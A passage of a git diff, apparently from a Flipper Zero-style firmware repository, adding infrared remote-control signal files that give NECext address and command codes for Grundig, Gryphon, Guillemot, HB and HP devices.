+protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: v +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: t +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: o +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: tint +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: n +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: color +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: j +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: .av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: p +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: a +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: c +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: f +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: g +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: h +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: k +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: l +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: m +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: p/c +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: s +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: p+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: q +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: p- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: x +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: r +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: text +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: e +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: d +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir new file mode 100644 index 000000000..4f73fab9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 16 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 18 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 19 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 47 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 48 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 48 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4A 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 4B 00 00 00 +# +name: -/-- +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 53 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir new file mode 100644 index 000000000..7a2620f78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: ON/STAND-BY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: INPUT_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: INPUT_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir new file mode 100644 index 000000000..746bd7d38 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: X_KEY_2X +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: SCREEN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: CHAPTER+ +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: CD-DVD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: CHAPTER- +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir new file mode 100644 index 000000000..13aff924c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: EQ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: FIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: FUNC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: MEM_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: MEM_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir new file mode 100644 index 000000000..fa9fd662a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: X_KEY_WINDOWS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 +# +name: KEY_MEDIA_REPEAT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir new file mode 100644 index 000000000..b2615c277 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: BTN_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: BTN_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_FIRST +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 6E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 80 00 00 00 +# +name: KEY_SCREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir new file mode 100644 index 000000000..550e6d831 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0C 00 00 00 +# +name: X_KEY_WINDOWS +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 11 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 15 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 16 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 19 00 00 00 +# +name: KEY_NEXTSONG +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUSSONG +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 22 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 24 00 00 00 +# +name: X_KEY_REPEAT +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 4A 00 00 00 +# +name: KEY_SWITCHVIDEOMODE +type: parsed +protocol: NECext +address: 04 11 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir new file mode 100644 index 000000000..4c9e5be21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: MEDIA_CENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: SOUND_P +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: SOUND_M +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: CHANEL_P +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: CHANEL_M +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: FBW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: JUMP_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: JUMP_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: TV_DIRECT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: TV_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: PRINT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir new file mode 100644 index 000000000..3aa34506d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 